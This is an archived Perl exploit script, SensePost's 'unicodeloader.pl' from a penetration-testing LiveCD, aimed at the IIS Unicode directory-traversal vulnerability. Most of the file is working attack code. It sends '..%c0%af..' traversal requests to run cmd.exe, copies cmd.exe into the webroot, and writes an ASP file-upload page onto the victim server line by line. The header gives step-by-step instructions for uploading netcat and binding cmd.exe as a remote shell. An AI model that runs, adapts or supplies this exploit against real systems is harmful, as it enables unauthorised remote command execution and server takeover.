home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / unicodeloader.pl < prev    next >
Perl Script  |  2005-02-12  |  6KB  |  171 lines

  1. #!/usr/bin/perl 
  2. #######################
  3. # Unicode upload creator
  4. # Works like this - two files (upload.asp and upload.inc - have 
  5. # in the same dir as the PERL script) are build in the webroot 
  6. # (or anywhere else) using echo and some conversion strings.
  7. # These files allows you to upload any file by 
  8. # simply surfing with a browser to the server.
  9. # Typical use: (5 easy steps to a shell)
  10. # 1. Find the webroot (duh)- let say its f:\the web pages\theroot
  11. # 2. perl unicodeloader target:80 'f:\the web pages\theroot'
  12. # 3. surf to target/upload.asp and upload nc.exe
  13. # 4. perl unicodexecute3.pl target:80 'f:\the web pages\theroot\nc -l -p 80 -e cmd.exe'
  14. # 5. telnet target 80
  15. # Above procedure will drop you into a shell on the box
  16. # without crashing the server (*winks at Eeye*).
  17. # Of coure you might want to upload other goodies as well
  18. # right after nc.exe - fscan.exe seems a good choice :)
  19. # This procedure is nice for servers that are very tightly 
  20. # firewalled; no FTP, RCP or TFTP out of it - as everything
  21. # is client---> server on port 80.
  22. #
  23. # kids, please have a *good* look at the code before you use it :-]
  24. # more info at http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
  25. #
  26. # 2001/01/24 Roelof Temmingh 
  27. # roelof@sensepost.com
  28. # http://www.sensepost.com
  29. #
  30. # PS: if the script breaks during the building of the uploader page
  31. #     you should delete both upload.asp and upload.inc manually
  32. ######################################################################################
  33.  
  34. use Socket;
  35.  
  36. my $runi; my $thedir; $|=1;
  37. open (ASP,"upload.asp") || die "Couldnt open the upload.asp file\n";
  38. open (INC,"upload.inc") || die "Couldnt open the upload.inc file\n";
  39. # --------------init
  40. if ($#ARGV<1) {die "Usage: unicodeloader IP:port webroot\n";}
  41. my ($host,$port)=split(/:/,@ARGV[0]);
  42. my $target = inet_aton($host);
  43. my $location=@ARGV[1];
  44. print "\nCreating uploading webpage on $host on port $port.\nThe webroot is $location.\n\n";
  45. # -------------find the correct string
  46. my @unis=(
  47. "/scripts/..%c0%af../winnt/system32/cmd.exe?/c",
  48. "/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c",
  49. "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c",
  50. "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c",
  51. "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c",
  52. "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c",
  53. "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c",
  54. "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c");
  55. my $uni;my $execdir; my $dummy; my $line;
  56. foreach $uni (@unis){
  57.  print "testing directory $uni\n";
  58.  my @results=sendraw("GET $uni+dir HTTP/1.0\r\n\r\n");
  59.  foreach $line (@results){
  60.   if ($line =~ /Directory/) {
  61.   ($dummy,$execdir)=split(/Directory of /,$line);   
  62.    $execdir =~ s/\r//g;
  63.    $execdir =~ s/\n//g;
  64.    if ($execdir =~ / /) {$thedir="%22".$execdir;}
  65.     else {$thedir=$execdir;}
  66.    $thedir=~ s/ /%20/g;
  67.    print "farmer brown directory: $thedir\n";
  68.    $runi=$uni; goto further;}
  69.  }
  70. }
  71. die "nope...sorry..not vulnerable\n";
  72.  
  73. further:
  74. #---------------test if upload exists already
  75. my $a=`which ifconfig`; chomp $a; 
  76. my $aa=`$a -au | grep -i mask | grep -v 127.0.0.1 | head -n 1`; $aa=~s/ //g;
  77. sendraw("GET /naughty_real_$aa\r\n\r\n");
  78. my $command; my $line;
  79. if ($location =~ / /) {$command="dir %22".$location."%22";}
  80.  else {$command="dir ".$location;}
  81. $command=~s/ /+/g;
  82. my @results=sendraw("GET $runi+$command\r\n\r\n");
  83. foreach $line (@results){
  84.  if ($line =~ /upload.asp/) {die "uploader is there already..\n";}
  85. }
  86. # --------------test if cmd has been copied:
  87. my $failed=1;
  88. my $command="dir $thedir%22";
  89. $command=~s/ /+/g;
  90. my @results=sendraw("GET $runi+$command HTTP/1.0\r\n\r\n");
  91. my $line;
  92. foreach $line (@results){
  93.  if ($line =~ /denied/) {die "cant do a dir in the directory - try switching dirs order around\n";}
  94.  if ($line =~ /sensepost.exe/) {print "sensepost.exe found on system\n"; $failed=0;}
  95. }
  96. #--------------we should copy it if its not there
  97. my $failed2=1;
  98. if ($failed==1) { 
  99.  print "sensepost.exe not found - lets copy it quick\n";
  100.  $command="copy c:\\winnt\\system32\\cmd.exe $thedir\\sensepost.exe%22";
  101.  $command=~s/ /+/g;
  102.  my @results2=sendraw("GET $runi+$command HTTP/1.0\r\n\r\n");
  103.  my $line2;
  104.  foreach $line2 (@results2){
  105.   if (($line2 =~ /copied/ )) {$failed2=0;}
  106.   if (($line2 =~ /denied/ )) {die "access denied to copy here - try switching dirs order around\n";}
  107.  }
  108.  if ($failed2==1) {die "copy of CMD failed - inspect manually:\n@results2\n\n"};
  109. # ------------ we can assume that the cmd.exe is copied from here..
  110. my $path;
  111. ($dummy,$path)=split(/:/,$thedir);
  112. $path =~ s/\\/\//g;
  113. my @unidirs=split(/\//,$runi);
  114. my $unidir=@unidirs[1];
  115. $runi="/".$unidir."/sensepost.exe?/c";
  116. print "uploading ASP section:\n";
  117. while (<ASP>) {
  118.  chomp;
  119.  s/([<^&>])/^$1/g; s/\%/%25/g; s/\>/%3e/g;
  120.  s/\</%3c/g; s/([\x0D\x0A])//g; s/\=/%3d/g;
  121.  s/\&/%26/g; s/\+/%2b/g;
  122.  if ($location =~ / /) {$command="echo $_ >> %22".$location."\\upload.asp%22";}
  123.   else {$command="echo $_ >> $location\\upload.asp";}
  124.   $command=~s/ /%20/g;
  125.   @results=sendraw("GET $runi+$command HTTP/1.0\r\n\r\n");
  126.   print ".";
  127.   foreach $line (@results){
  128.    if ($line =~ /denied/) {die "sorry, access denied to write the upload page\n";}
  129.   }
  130. }
  131. close (ASP);
  132. ###its really just the same as the previous one
  133. print "\nuploading the INC section: (this may take a while)\n";
  134. while (<INC>) {
  135.  chomp;
  136.  s/([<^&>])/^$1/g; s/\%/%25/g; s/\>/%3e/g;
  137.  s/\</%3c/g; s/([\x0D\x0A])//g; s/\=/%3d/g;
  138.  s/\&/%26/g;  s/\+/%2b/g;
  139.  if ($location =~ / /) {$command="echo $_ >> %22".$location."\\upload.inc%22";}
  140.   else {$command="echo $_ >> $location\\upload.inc";}
  141.  $command=~s/ /%20/g;
  142.  my @results=sendraw("GET $runi+$command HTTP/1.0\r\n\r\n");
  143.  print ".";
  144. }
  145. close (INC);
  146. print "\nupload page created. \n\nNow simply surf to $host/upload.asp and enjoy.\n";
  147. print "Files will be uploaded to $location\n";
  148.  
  149. # -------------slighty modified RFP sendraw
  150. sub sendraw { 
  151.  my ($pstr)=@_;
  152.  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
  153.  if(connect(S,pack "SnA4x8",2,$port,$target)){
  154.   my @in="";
  155.   select(S); $|=1; print $pstr;
  156.   while(<S>) { 
  157.    push @in,$_; last if ($line=~ /^[\r\n]+$/ );}
  158.   select(STDOUT); return @in;
  159.  } else { die("connect problems\n"); }
  160. }
  161. # Spidermark: sensepostdata unicodeloader
  162.  
  163.  
  164.  
  165.  
  166.  
  167.